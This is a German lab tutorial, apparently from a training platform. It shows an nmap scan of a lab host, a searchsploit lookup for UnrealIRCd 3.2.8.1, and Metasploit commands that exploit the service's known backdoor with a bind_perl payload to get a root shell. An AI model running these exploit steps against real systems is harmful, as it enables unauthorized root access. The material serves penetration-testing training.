Einführung
Netzwerk-Scanning ist eine äußerst praxisorientierte Disziplin. Durch das Scannen von Netzwerken können Benutzer die Ports ermitteln, die verschiedenen Diensten auf dem Zielhost zugewiesen sind, sowie offene Dienste, die verwendete Software, deren Versionen und weitere Informationen identifizieren.
In diesem Lab lernen Sie, wie Sie Sicherheitslücken in Netzwerkdiensten eines Zielhosts aufspüren.
Nmap zum Scannen offener Ports auf dem Zielhost verwenden
Der grundlegende Arbeitsablauf beim Netzwerk-Scanning sieht wie folgt aus:
- Entdeckung des Zielhosts
- Port-Scanning
- Fingerprint-Scanning (Identifizierung von Diensten und Versionen)
- Schwachstellen-Scanning
- Durchführung von Penetrationsangriffen
Nmap (Network Mapper) ist ein leistungsstarkes Tool für das Netzwerk-Scanning. Es unterstützt verschiedene Scan-Techniken, wie UDP, TCP connect(), TCP SYN (Half-Open-Scan), FTP-Proxy (Bounce-Angriff), Reverse-Flag, ICMP, FIN, ACK-Scan, SYN-Scan und Null-Scan.
In diesem Schritt verwenden Sie Nmap, um die offenen Ports auf dem Zielhost zu scannen. Die Lab-Umgebung hat den anfälligen Trainingsdienst bereits unter 192.168.122.102 gestartet, sodass Ihr Scan einen aktiven Host finden sollte, anstatt den Host als nicht erreichbar zu melden.
- Öffnen Sie ein Terminal und starten Sie den Kali-Container:
docker run -ti --network host b5b709a49cd5 bash
- Verwenden Sie den Befehl
nmap, um den Zielhost 192.168.122.102 zu scannen:
nmap -p 6667 -T4 -A -v 192.168.122.102 > /tmp/report.txt
Dieser Befehl scannt Port 6667 auf dem Zielhost, verwendet eine schnellere Timing-Richtlinie, aktiviert die Versionserkennung und speichert die Ausgabe in der Datei /tmp/report.txt.
Scan-Ergebnisse analysieren
Nachdem Sie den Zielhost gescannt haben, müssen Sie die Ergebnisse analysieren, um potenzielle Schwachstellen zu identifizieren.
- Zeigen Sie den Scan-Bericht an:
cat /tmp/report.txt
Dieser Befehl zeigt den Inhalt der Datei /tmp/report.txt an, die Informationen über offene Ports, Dienste und deren Versionen auf dem Zielhost enthält. Ein erfolgreicher Scan sollte zeigen, dass der Host aktiv ist und Port 6667 offen ist, ähnlich wie im folgenden Beispiel:
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Discovered open port 6667/tcp on 192.168.122.102
Nmap scan report for 192.168.122.102
Host is up.
PORT STATE SERVICE VERSION
6667/tcp open irc UnrealIRCd 3.2.8.1
Service Info: Host: labex-target
- Verwenden Sie das Tool
searchsploit, um nach Informationen zu Schwachstellen zu suchen:
searchsploit unreal ircd
Dieser Befehl durchsucht die Exploit-Datenbank nach Schwachstellen im Zusammenhang mit dem Dienst "unreal ircd". Hier ist ein Beispiel für die mögliche Ausgabe:
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
- Zeigen Sie die Details einer Schwachstelle an:
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb
Dieser Befehl zeigt den Inhalt der Exploit-Datei an, die sich unter /usr/share/exploitdb/exploits/linux/remote/16922.rb befindet.
Eine Schwachstelle ausnutzen
Nachdem Sie die Scan-Ergebnisse analysiert und potenzielle Schwachstellen identifiziert haben, können Sie versuchen, eine Schwachstelle für einen Penetrationsangriff auszunutzen.
Identifizieren Sie eine ausnutzbare Schwachstelle aus den Scan-Ergebnissen. Nehmen wir beispielsweise an, der Scan hat einen offenen Port 6667 mit einem anfälligen Dienst gefunden.
Starten Sie das Metasploit Framework:
cd ~
msfconsole
- Wählen Sie in der Metasploit-Konsole das entsprechende Exploit-Modul aus:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- Legen Sie die IP-Adresse des Zielhosts fest:
set RHOST 192.168.122.102
- Legen Sie den Payload fest:
set PAYLOAD cmd/unix/bind_perl
- Starten Sie den Exploit:
exploit
Wenn der Exploit erfolgreich ist, erhalten Sie Zugriff auf den Zielhost.
- Überprüfen Sie nach dem Ausnutzungsversuch, ob dieser erfolgreich war. Überprüfen Sie in der Metasploit-Sitzung den aktuellen Benutzer und den Hostnamen:
whoami
hostname
Wenn die Ausgabe zeigt, dass Sie als root-Benutzer angemeldet sind, war der Angriff erfolgreich. In diesem Lab läuft der anfällige Dienst innerhalb eines isolierten Netzwerk-Namespaces auf der Trainings-VM, daher zeigt die Ausgabe von hostname den aktuellen Hostnamen der LabEx-VM an und nicht den Namen einer separaten Gastmaschine.
Drücken Sie Strg+D, um die Metasploit-Konsole zu verlassen und die Überprüfung zu starten.
Zusammenfassung
In diesem Lab haben Sie den grundlegenden Arbeitsablauf des Netzwerk-Scannings kennengelernt, der die Entdeckung des Zielhosts, Port-Scanning, Fingerprint-Scanning, Schwachstellen-Scanning und die Durchführung von Penetrationsangriffen umfasst. Sie haben das leistungsstarke Tool Nmap verwendet, um offene Ports auf dem Zielhost zu scannen und die Ergebnisse analysiert, um potenzielle Schwachstellen zu identifizieren. Darüber hinaus haben Sie gelernt, wie man mit dem Tool searchsploit nach Schwachstellen sucht und wie man eine Schwachstelle mit dem Metasploit Framework ausnutzt. Abschließend haben Sie den Erfolg des Angriffs durch die Überprüfung des aktuellen Benutzers und Hostnamens auf dem Zielhost verifiziert.
Durch dieses praktische Lab haben Sie wertvolle Erfahrungen im Scannen von Sicherheitslücken in Netzwerkdiensten und in der Durchführung von Penetrationsangriffen gesammelt. Dieses Wissen ist entscheidend, um die Sicherheit von Netzwerksystemen zu gewährleisten und potenzielle Risiken frühzeitig zu erkennen.



